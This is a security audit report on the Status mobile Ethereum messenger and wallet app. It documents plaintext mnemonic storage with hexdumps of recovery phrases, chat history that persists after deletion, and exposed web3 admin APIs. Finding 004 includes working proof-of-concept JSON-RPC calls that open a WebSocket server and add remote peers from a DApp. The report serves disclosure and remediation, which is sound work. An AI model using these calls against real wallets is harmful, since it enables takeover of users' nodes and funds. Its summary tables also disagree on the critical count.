Status - Status Security Review

May 07, 2018

Deliverable for

Prepared by

Daniel Wessling
d.wessling@dejavusecurity.com

Andrew Hennessy
a.hennessy@dejavusecurity.com

P 855.333.5288
F 425.696.0572

1122 East Pike St
Suite 1071
Seattle, WA 98122

Table of Contents

Executive Summary

In early 2018 Deja vu Security was contacted to perform a security evaluation of the Status Mobile Ethereum Operation System with code assisted penetration testing. This assessment was to determine the risk that was posed to a mobile Ethereum client for Android and iOS that currently functions as a messenger and a browser. The scope of this project covered the status-react and status-go repositories.

The project was a time-boxed assessment performed over five weeks by two Deja vu Engineers, and a single week performed by one Deja vu Engineer. All testing for this project was performed remotely at Deja vu Security offices in Seattle, WA. The first week included threat modeling and design review followed by five weeks of penetration testing. Due to the time constraint the engagement focused on Javascript Jail breakout, transaction signing authorization, integrity of views utilized by customers for reviewing, and forgery of malicious transaction.

Status is a light client for the Android and iOS platform that combines the features of a messenger and browser to allow the usage of ĐApps on a smartphone. It allows users to send and request money with known contacts and allows interactions with ĐApps. Status was tested on both the Android and iOS platforms and proper versions of the open source code was provided to Deja vu.

During this engagement Deja vu identified 4 issues in the security of both Status repositories. Insecure storage of private user information, web3 manager APIs were enabled were discovered. The most severe of these issues discovered is the use of web3 admin methods within a 3rd party ĐApp and the Status console. With web3 admin calls, a malicious ĐApp can add trusted peers onto a user's device and even start a Web-Socket server.

For the breakdown of services impacted and severity of the findings, please refer to the following table:

Finding Breakdown

Module	Total	Severity			
		Critical	High	Medium	Low
Status-go	1	1	0	0	0
Status-react	3	0	2	0	1
TOTAL	4	1	2	0	1

About Deja vu Security

Deja vu Security is a Seattle, Washington based firm that is focused on helping clients build secure solutions. Deja vu Security believes in the convergence of an organization’s business and security needs, working with its customers to rationalize the competing needs of business and security. It provides a full-range of services including strategic insight, proactive advice, tactical assessment, and outsourced development.

The company was founded by a group of information security veterans with past leadership experience at Microsoft, Amazon, and HP. Engagements are staffed by a team known for its technical prowess, professionalism and creative solutions. Deja vu Security is a recognized industry leader in embedded device security, security fuzz testing, and penetration testing. The software development team follows secure development methodology to ship secure solutions.

Customers engaging with Deja vu Security get a partner committed to realizing their business goals. They get assurance that can only come from working with a technically capable, innovative team of professionals who are leaders in their field.

Scope

During this assessment Deja vu Security evaluated the security of the Status Application:

- Transaction signing authorization
- Forgery of malicious transactions from within a ĐApp
- Integrity of views utilized by customers for reviewing and auditing transactions
- Disclosure of sensitive information to unauthorized third parties
- Private key generation and derivation
- Public key exchange procedures between Status clients
- Cross-account privilege escalation on a user's device
- Testing on iOS and Android platforms
- *Timeboxed, code assisted penetration testing of ĐApp Javascript evaluation in jailed contexts

*Additional review is required to fully determine threat profile of the Status jail solution. Due to the complex nature of sandboxing third-party scripts in the Status console; full coverage of risks relating to the security of the Status jail implementation on iOS and Android cannot be guaranteed in the initial phase of work. A number of known attacks and privilege escalation vectors were reviewed, and implementation specific testing was performed to discover risks specific to the Status jail solution. These risks were covered in as much depth as time allows.

These components were evaluated in a test environment meant to mirror production networks. Deja vu Security has evaluated this engagement in a time-boxed manner and all parts of the system and were not exhaustively reviewed.

Code review was performed with commit *3cb828fc74b6a6ba7c7c181c5d5b1366c9d4ba6f*.

Additional features during the engagement were added and reviewed with commit *a456c6cc57a2b3ca87cf35b32ec524500bbd1d10*. The following new features were reviewed upon request of the customer:

- Upgrade to go-ethereum 1.8.1
- Upgrade to Whisper V6
- New onboarding flow which allows the backup of the seed phrase later from the Profile screen
- Console available from Profile > Advanced > Debug mode
- New Status communication protocol
- Added a list of DApps working
- Fixed opening DApps

Additionally, code from two pull requests were reviewed. The first request is the implementation to make keys/addresses compatible with other interfaces following BIP44. The second request removes the use of user's password during BIP39 seed generation and use only the password to encrypt the keys. See https://github.com/status-im/status-go/pull/783 and https://github.com/status-im/status-go/pull/820.

Out of Scope

The following modules and sub-modules have been explicitly excluded from this evaluation by customer request:

- Otto JS implementation
- Encryption or covertness of messages sent between Status clients
- Review of any issues arising from repackaging of go-ethereum for mobile environments

Status Application Review

Code Review

Security code reviews identify implementation flaws within the project code base. Code reviews are an integral part of a mature security development process and help to minimize the possibility of compromise.

During the code review consultants inspect the provided source code material looking for vulnerabilities. These vulnerabilities result from common coding issues, deviations from design, invalid logic for authentication and authorization, and incorrect use of cryptography.

Deja vu Security focuses on hard to find implementation issues: race conditions, side-channel attacks, injection attacks, code access security vulnerabilities, and similarly subtle flaws. This process is conducted on all available source materials found on the target environment for both native and managed code solutions.

Manual Penetration Testing

Penetration Testing is used to evaluate the system from an attacker's perspective. This is done by gathering all available documentation and definitions on exposed endpoints and using tools to record normal interaction with the listeners available from the areas in scope. This baseline is used to determine expected response behavior from the system and identify targets for attack.

Additional testing is done independently to determine if specific applications communicate over unique services that are only available while the application is in use. Changes in behavior on the target environment are identified using packet captures, logs, and process traces to correlate behavior.

Once target listeners are identified a variety of tools are used to craft base requests. These requests are then manually modified to test both generic classes of attack as well as targeted feasibility tests to confirm observations.

Observations

The following are observations made by consultants over the course of the evaluation that stand as common trends, threats, or design gaps present in the reviewed technology. These observations are designed to identify strategic level risks that do not map neatly to individual findings. Additionally, they will help cover the risk that was not enumerated during the Status engagement.

Missing Max Child Key Derivation Sanity Check

During the creation of an extended child key, the Child function in "*status-go/extkeys/hdkey.go*" does not perform a sanity check on the depth of the child key being generated. The scenario of the depth surpassing the maximum value is very small, but it is something worth checking in case of future unknown uses of the Status code.

Lack of Input Validation During Creation of User

During the creation of a new user, a user can assign a username to their account and no input validation is being enforced during the assignment of the user name. This behavior deviates from the "Edit" profile feature, where input validation is being enforced for the username of the profile.

Enforce an Expiration Date to Backup Seed Phrase

Status encourages the user to backup their seed phrase by going through a sequence of questions and challenges about their phrase. The risk with the current workflow is that there is currently no expiration date to complete this workflow and therefore the phrase will never be deleted from the device until the workflow is completed. We recommend that Status provide an expiration date to complete the task, and once the expiration date has passed, delete the user's phrase.

"/request" Sends String Literal to Recipient

During a "*/request"* send to another user in a chat, the recipient of the request receives a message, indicating Eth has been requested. The message in the chat window is interactive and once the message is clicked on, Status automatically inserts a "/send" command with the amount of Eth requested. We noticed that the string literal of what was sent in the request is copied into the recipient's prompt and not the encoded value.

While there is input validation being performed during the "/request" command and only allows numerical values, this does not prevent an attacker from debugging the application and modifying the string being sent to the recipient. Sending the string literal value and not the encoded numerical value is an unnecessary risk and we recommend encoding the value and sending only the trusted numerical value to the recipient.

Disable Node IPC Settings

Status' Node IPC settings seem to be disabled by default after our review of default configurations used in Status. Although IPC seemed to be disabled, there was code that searched for the "*geth.ipc"* file. Because the "*geth.ipc*" is a Unix socket and the Management APIs are enabled by default, it's possible that if the IPC settings were to ever become enabled, a malicious application could attempt to communicate with the Unix socket and send malicious JSON-RPC methods.

Next Steps

These items are designed to continue ongoing security efforts and best practices. They provide guidance to achieve coverage of potential risks not fully addressed as part of this evaluation, and coverage of future risks introduced into the environment as part of active development.

Rooted Android Device Notifications

Consultants observed that the Status application notifies a user of a rooted Android only during the first initial run of the application but not during the creation or recovery of an account. If an intended use case scenario of the application is to have multiple users on a single device, then a user should be notified of a possibly compromised device during a creation or recovery of an account.

Enforcing Stronger User Passwords

Status currently enforces the user to create a password that is six characters or longer. If the user’s device were ever compromised and the encrypted private keys were obtained, it would be a trivial task for an attacker to brute force a weak password and decrypt the user’s private key.

Deleting User’s Credentials from the Device

There is currently no way a user can remove their private and public key pairs from the device after creating or recovering their account on the device without uninstalling Status. Assuming the device is designed to support accounts of different users, it would be best practice to allow a user to delete their credentials after they are finished using the device.

Findings

During the course of this assessment Deja vu Security consultants identified 4 security issues that negatively impacted Status.

Findings

Finding Breakdown

Module	Total	Severity			
		Critical	High	Medium	Low
Status-go	1	1	0	0	0
Status-react	3	0	2	0	1
TOTAL	4	0	2	0	1

001 Improper Storage of Mnemonic Passphrases in Status.im Android Client

Type: Implementation **Risk**: High
Severity: High **Complexity:** Low

Description

Impact

An attacker with physical access to a rooted Android device can read and extract the victim's 12-worded mnemonic recovery passphrases and trivially recover the master key of an account.

Details

When a user creates or recovers an account on the Android Status application, Status stores a Realm database file for every account in "`/data/data/status.im.ethereum/files`". In every one of these files, the mnemonic passphrase is persisted in plain text for the duration of the application install. If an attacker has access to the mnemonic passphrase, brute-forcing the user's weak password becomes trivial. Once the attacker has the 12-worded mnemonic passphrase and the target victim's password, an attacker can recover their root key-pair and utilize the account in any manner they wish.

The hexdumps below show mnemonic passphrases from multiple accounts on a single device.

File: *data/data/status.im.ethereum/files/7d3bc70bca15190321eea870f40598fe9b53d629*

```
0001250: 6861 6269 7420 706f 656d 2069 6e68 616c  habit poem inhal
0001260: 6520 6572 6f73 696f 6e20 666f 6c6c 6f77  e erosion follow
0001270: 2073 796d 7074 6f6d 2073 7068 6572 6520   symptom sphere
0001280: 646f 6e61 7465 2073 6972 656e 2063 7574  donate siren cut
0001290: 6520 6e61 7272 6f77 2061 6e6e 7561 6c00  e narrow annual.
00012a0: 4141 4141 1100 006c 4865 7265 2069 7320  AAAA...lHere is
```

```
00012b0: 796f 7572 2073 6967 6e69 6e67 2070 6872  your signing phr
00012c0: 6173 652e 2059 6f75 2077 696c 6c20 7573  ase. You will us
00012d0: 6520 6974 2074 6f20 7665 7269 6679 2079  e it to verify y
00012e0: 6f75 7220 7472 616e 7361 6374 696f 6e73  our transactions
00012f0: 2e20 2a57 7269 7465 2069 7420 646f 776e  . *Write it down
0001300: 2061 6e64 206b 6565 7020 6974 2073 6166   and keep it saf
```

File: *data/data/status.im.ethereum/files/95880a587034b91da64f62296a2e0f7eddc142f3*

```
0001250: 626c 6164 6520 7368 6966 7420 6c61 6464  blade shift ladd
0001260: 6572 2061 746f 6d20 6469 7374 616e 6365  er atom distance
0001270: 2066 6f72 7761 7264 2064 616d 7020 736c   forward damp sl
0001280: 6964 6520 6172 6561 2074 7261 6465 2072  ide area trade r
0001290: 756e 2073 7461 6972 7300 0326 0105 0003  un stairs..&....
00012a0: 4141 4141 1100 006c 4865 7265 2069 7320  AAAA...lHere is
00012b0: 796f 7572 2073 6967 6e69 6e67 2070 6872  your signing phr
00012c0: 6173 652e 2059 6f75 2077 696c 6c20 7573  ase. You will us
00012d0: 6520 6974 2074 6f20 7665 7269 6679 2079  e it to verify y
00012e0: 6f75 7220 7472 616e 7361 6374 696f 6e73  our transactions
00012f0: 2e20 2a57 7269 7465 2069 7420 646f 776e  . *Write it down
0001300: 2061 6e64 206b 6565 7020 6974 2073 6166   and keep it saf
0001310: 6521 2a00 0100 0004 4141 4141 6500 0002  e!*.....AAAAe...
0001320: f810 2012 0000 0000 4141 4141 0100 0008  .. .....AAAA....
0001330: 0200 0000 0000 0000 4141 4141 0300 0012  ........AAAA....
0001340: 0222 0222 1022 1122 1201 0000 0000 0000  ."."."."........
0001350: 4141 4141 4500 0004 3813 c02a d816 d000  AAAAE...8..*....
0001360: 4141 4141 4500 0002 6017 8813 0000 0000  AAAAE...`.......
0001370: 4141 4141 0c00 0002 6e61 6d65 0000 0003  AAAA....name....
0001380: 636f 756e 7400 0002 4141 4141 4500 0012  count...AAAAE...
```

Recommendation

The 12-worded mnemonic passphrase is only used for the initial status-go *MnemonicSeed* key derivation function, a part of a normal recovery and creation process. This use case as designed does not require a user's passphrase to be persisted beyond the initial user session.

To prevent the risk of exposure of the user's mnemonic passphrase, the application must be modified to only persist the secret in memory for the duration of the recovery workflow. Once the key-pair has been derived the secret can then be purged from memory, greatly reducing the exposure of the secret to the functional minimum of the target use case.

002 Improper Storage of Mnemonic Passphrases in Status.im iOS Client

Type: Implementation	**Risk**: High
Severity: High	**Complexity:** Low

Description

Impact

An attacker with physical access to the file system of an iOS device can read and extract the victim's 12-worded mnemonic recovery passphrases and trivially recover the master key of an account.

Details

When a user creates or recovers an account on the iOS Status application, Status stores a Realm database file for every account. In every one of these files, the mnemonic passphrase is persisted in plain text for the duration of the application install. If an attacker has access to the mnemonic passphrase, brute-forcing the user's weak password becomes trivial. Once the attacker has the 12-worded mnemonic passphrase and the target victim's password, an attacker can recover their root key-pair and utilize the account in any manner they wish.

The hexdumps below show mnemonic passphrases from multiple accounts on a single device.

File: *76a43bcd8d5f022aac80aacf76839078529fe3bf*

```
0000f80: 4141 4141 1100 0055 706f 7474 6572 7920  AAAA...Upottery 
0000f90: 756e 7573 7561 6c20 7468 616e 6b20 696e  unusual thank in
0000fa0: 7369 6465 2061 6d75 7365 6420 626f 6172  side amused boar
0000fb0: 6420 6d6f 726e 696e 6720 7669 6272 616e  d morning vibran
0000fc0: 7420 6d79 7365 6c66 2062 6974 7465 7220  t myself bitter 
0000fd0: 7665 7269 6679 206d 6564 616c 0000 005e  verify medal...^
0000fe0: 4141 4141 0800 0000 4141 4141 0300 0004  AAAA....AAAA....
0000ff0: 22e2 0000 0000 0000 4141 4141 0800 0000  ".......AAAA....
0001000: 4141 4141 0d00 0003 6e61 6d65 0000 0000  AAAA....name....
0001010: 0000 0000 0000 000b 7479 7065 0000 0000  ........type....
```

File: *e466aeb7445bc7b6a660ee053403eb7e6e5eaa88*

```
00012d0: 7769 6e6b 2062 7569 6c64 2070 7269 6e74  wink build print
00012e0: 2064 656d 6973 6520 7765 6173 656c 2067   demise weasel g
00012f0: 616c 6c65 7279 2073 7061 7469 616c 2062  allery spatial b
0001300: 6574 7765 656e 2070 6174 6965 6e74 206c  etween patient l
0001310: 6974 746c 6520 6775 6964 6520 6869 6c6c  ittle guide hill
0001320: 0000 d041 0500 0045 4141 4141 0300 000c  ...A...EAAAA....
0001330: 2143 6587 a9cb 0000 4141 4141 0300 0012  !Ce.....AAAA....
0001340: 0222 0222 1022 1122 1201 0000 0000 0000  ."."."."........
0001350: 4141 4141 4500 0004 3813 c02a d816 d000  AAAAE...8..*....
0001360: 4141 4141 0600 0001 736e 6f63 736e 6f63  AAAA....snocsnoc
```

Recommendation

The 12-worded mnemonic passphrase is only used for the initial status-go *MnemonicSeed* key derivation function, a part of a normal recovery and creation process. This use case as designed does not require a user's passphrase to be persisted beyond the initial user session.

To prevent the risk of exposure of the user's mnemonic passphrase, the application must be modified to only persist the secret in memory for the duration of the recovery workflow. Once the key-pair has been derived the secret can then be purged from memory, greatly reducing the exposure of the secret to the functional minimum of the target use case.

003 Chat History Persists After Deletion of Chat

Type: Implementation	**Risk**: Low
Severity: Low	**Complexity:** Low

Description

Impact

An attacker with physical access to a rooted Android device can read and extract the entire chat history of the victim, including chats that have been deleted.

Details

When a user creates or recovers an account on the Android Status application, Status stores a Realm database file for every account in "`/data/data/status.im.ethereum/files`". In every one of these files, every message that is sent or received by the user is stored in plain text for the duration of the application install. If the user deletes a chat from their phone, the entire chat history is not deleted and persists in the Realm database file for the duration of the install. Additionally, if the user recreates the deleted chat on their phone, the previously "deleted" chat history is restored.

The hexdumps below demonstrates a message persisting in the Realm database after a chat has been deleted.

Before Chat Deletion:
File: *data/data/status.im.ethereum/files/78e7d38a8f7a6e2f49617559e91e3c16b067c3bc*

```
000043C0:  63 6F 6E 73 6F 6C 65 00 41 41 41 41 11 00 00 0C  console.AAAA....
000043D0:  62 3D 32 3B 20 63 3D 62 2B 31 3B 00 41 41 41 41  b=2; c=b+1;.AAAA
000043E0:  41 41 41 41 11 00 00 15 7B 3A 6C 69 6E 65 20 31  AAAA....{:line 1
```

After Chat Deletion (No Change):
File: *data/data/status.im.ethereum/files/78e7d38a8f7a6e2f49617559e91e3c16b067c3bc*

```
000043C0:  63 6F 6E 73 6F 6C 65 00 41 41 41 41 11 00 00 0C  console.AAAA....
000043D0:  62 3D 32 3B 20 63 3D 62 2B 31 3B 00 41 41 41 41  b=2; c=b+1;.AAAA
000043E0:  41 41 41 41 11 00 00 15 7B 3A 6C 69 6E 65 20 31  AAAA....{:line 1
```

Recommendation

Provide an option for the user to permanently delete chat history from the device. This will ensure that a user's expectations of a deleted text are met, but still provide an option to restore chat history if the user were to ever restore a chat session.

004 Web3 Management APIs Enabled

Type: Implementation **Risk**: Critical
Severity: Critical **Complexity:** Medium

Description

Impact
A malicious ĐApp can use functionality that is injected into its WebView to modify privileged system state.

Details

NOTICE: This has been fixed after commit 9189ce8. The modules exposed over the HTTP-RPC interface no longer include the administrative API's.

Inside the ĐApp's webview, a StatusHTTPProvider object is created before the application loads.

The StatusHTTPProvider is used as the backend to an injected web3 object for ĐApps to perform functions on the Ethereum blockchain. This instance of the web3 does not have all functionality available to it, as access to functions in the admin namespace is restricted.

However, a ĐApp can instantiate it's own StatusHTTPProvider object and make calls to the restricted namespaces.

Javascript StatusHTTPProvider Object Instantiation:

```
$ var httpStatus = new StatusHttpProvider("http://localhost:8545")
> undefined
```

admin_datadir RPC Method:

```
$ httpStatus.send({"jsonrpc":"2.0","id":"1","method":"admin_datadir"})
> {jsonrpc: "2.0", id: "1", result:
"/data/user/0/im.status.ethereum/ethereum/testnet_rpc"}
```

Additionally, an attacker can create another persistent WebSocket-based interface that is open to all ĐApps to connect to and use a new StatusHTTPProvider instance to communicate with:

Creation and connection to a WebSocket-based StatusHTTPProvider:

```
$ httpStatus.send({"jsonrpc": "2.0", "method": "admin_startWS", "params":
["0.0.0.0", 9001, "", "eth,net,web3,miner,admin,personal"], "id": 1})
> {jsonrpc: "2.0", id: 1, result: true}

$ var WSHttpStatus = new StatusHttpProvider("http://localhost:9001")
> undefined
```

With the new running WebSocket server, an attacker can have control over which web3 modules are loaded, the attacker can also call administrative functions:

Sending messages to the web3 admin namespace using WebSockets:

```
$ WSHttpStatus.send({"jsonrpc":"2.0","id":"1","method":"admin_datadir"})
> {jsonrpc: "2.0", id: "1", result:
"/data/user/0/im.status.ethereum/ethereum/testnet_rpc"}
```

Finally, a ÐApp can explicitly add any peer to the local geth node:

Calling admin::addPeer:

```
$ WSHttpStatus.send({"jsonrpc": "2.0", "method": "admin_addPeer", "params":
["enode://03f3661686d30509d621dbe5ee2e3082923f25e94fd41a2dd8dd34bb12a0c4e8fb
de52247c6c55e86dc209a8e7c4a5ae56058c65f7b01734d3ab73818b44e2a3@188.166.33.47
:30303"], "id": 1})
> {jsonrpc: "2.0", id: 1, result: true}

$ httpStatus.send({"jsonrpc": "2.0", "method": "admin_addPeer", "params":
["enode://03f3661686d30509d621dbe5ee2e3082923f25e94fd41a2dd8dd34bb12a0c4e8fb
de52247c6c55e86dc209a8e7c4a5ae56058c65f7b01734d3ab73818b44e2a3@188.166.33.47
:30303"], "id": 1})
> {jsonrpc: "2.0", id: 1, result: true}
```

Recommendation

Do not load any of the Management APIs into the geth node accessible by the ÐApp.

Appendix A: Test Plan

Priority	Pass/Fail	Assigned	Test	Comment
P1	Pass		Transaction Signing Authorization	Reviewed code on how transactions are being signed.
P1	Pass		Forgery of malicious transactions from within a Dapp	Reviewed attack surface of creating malicious transactions
P1	Pass		IPCs are secure	Possible use of Unix Sockets are in the configuration.
P1	Pass		Unauthorized Transaction History Access	Attempted accessing Realm database files across accounts.
P1	Pass		Unauthorized Receive Transaction	Attempted malicious input into a /request
P1	Pass		Unauthorized Send Transaction	Attempted to cross account access
P1	Pass		Unauthorized Account Recovery	Reviewed BIP32, BIP39, and BIP 44 implementation
P1	Fail		Disclosure of sensitive information to unauthorized third parties	A Realm database file saves the passphrase in plain text
P1	Pass		Master public/private key generation and derivation	Reviewed code of master key generation, hardened key derivation, and normal extended key derivation.
P1	Pass		Appropriate Android Permissions	Application properly seeks permission to use only necessary features of device.
P1	Pass		Appropriate iPhone Permissions	Application properly seeks permission to use only necessary features of device.
P1	Fail		Integrity of views utilized by customers for reviewing and auditing transactions	Can be altered by using the web3 admin methods

P1	Pass	Public key exchange procedures between Status clients	Input validation during insertion of public key information
P1	Pass	Cross-account privilege escalation on a user’s device	Attempted jail breakout. Code review of JSC
P1	Pass	Command Input Validation of Console	Undefined behavior was seen during manual fuzzing of commands. Issues are fixed in the 0.9.17 version.
P1	Pass	Password Input Validation	Manual fuzzing of password in password input
P1	Pass	Are proper text fields used for user input on Android	Confirmed user input dialogs are proper objects and do not save passwords in keyboard history
P1	Pass	Are proper text fields used for user input on iPhone	Confirmed user input dialogs are proper objects and do not save passwords in keyboard history
P1	Pass	Transaction State Attack	Attempted creating multiple transactions in the queue and signing later out of order and cancelling transactions. Also reviewed transaction queue code. Did not observe any strange behaviors.
P1	Pass	Unauthorized actions while not logged in	0.9.15 provided console chat interface before logging in. Attempted manual fuzzing of input. New account workflow changed in 0.9.17, test case is irrelevant.
P1	Pass	Malicious invites to friends	Attempted chat names and images with possible malicious data.
P1	Pass	Malicious use of signing messages at a later time.	Test attempted during transaction queue attack.

P1	Pass	Review proper implementation of JSC	Confirmed each jail is it’s own virtual machine and properly provides JS object isolation.

Appendix B – Severity and Risk Overview

When graphically viewed in the following table the risk associated with a security finding can be calculated based on the potential of the vulnerability being exploited.

Weight

Severity (Weight)	Advanced (1)	Moderate (2)	Simple (3)
Critical (4)	4	8	12
High (3)	3	6	9
Medium (2)	2	4	6
Low (1)	1	2	3

Complexity (Weight)

Legend

Critical	10-12
High	7-9
Medium	4-6
Low	1-3

Severity

Severity indicates the impact rating of a security finding. Deja vu Security uses the following severity levels:

Low – Provides an attacker with the ability to gain additional information that could be used to further attack systems or clients. No direct access to the data or resources.

Medium – Possible access to systems or servers. Possibility for reputational damage or access to confidential data. No actual access to data was obtained.

High – Direct access to systems or servers. A high likelihood of reputational damage or a direct impact to the data.

Critical – A high impact vulnerability that could be exploited by a worm.

Complexity

The complexity rating shows the skill level required to take advantage of the security finding. Deja vu Security uses the following complexity levels:

Simple – Basic understanding of the technology is all that is required. Tools and attack methodologies are easily obtainable from the Internet.

Moderate – Some moderate knowledge of the technology is required. The attacker may need to entice the victim in order to exploit the condition.

Advanced – The attacker has a near complete understanding of the technology and is well able to write her own exploits. Additional interaction with a victim may be required.

Type

The type rating categorizes a finding to the area where the risk was discovered. Deja vu Security uses the following categories:

Implementation – The issue is discovered in the specific code that implements a feature or system. Mitigation of the risk requires development time to patch and test the feature.

Design – The system's design and not a specific implementation introduces additional risk. Mitigation of the risk may require signification development time to re-design the application feature. Examples are issues which were identified within the business logic tier, workflows, roles, or authorization behaviors supported by the application.

Configuration –These are issues identified within the infrastructure tier, specifically within software dependencies used to support the application. Mitigation of the risk requires re-configure the application environment.

Documentation –These are issues or gaps between the documented application feature set and the behavior observed during testing. Documentation may recommend usage in a way that adds additional risk to the environment.

Informational –Issues between the behavior observed during testing and best known security practices.

Policy – These types of issues identify discrepancies between organizational accepted risks and best known security practices.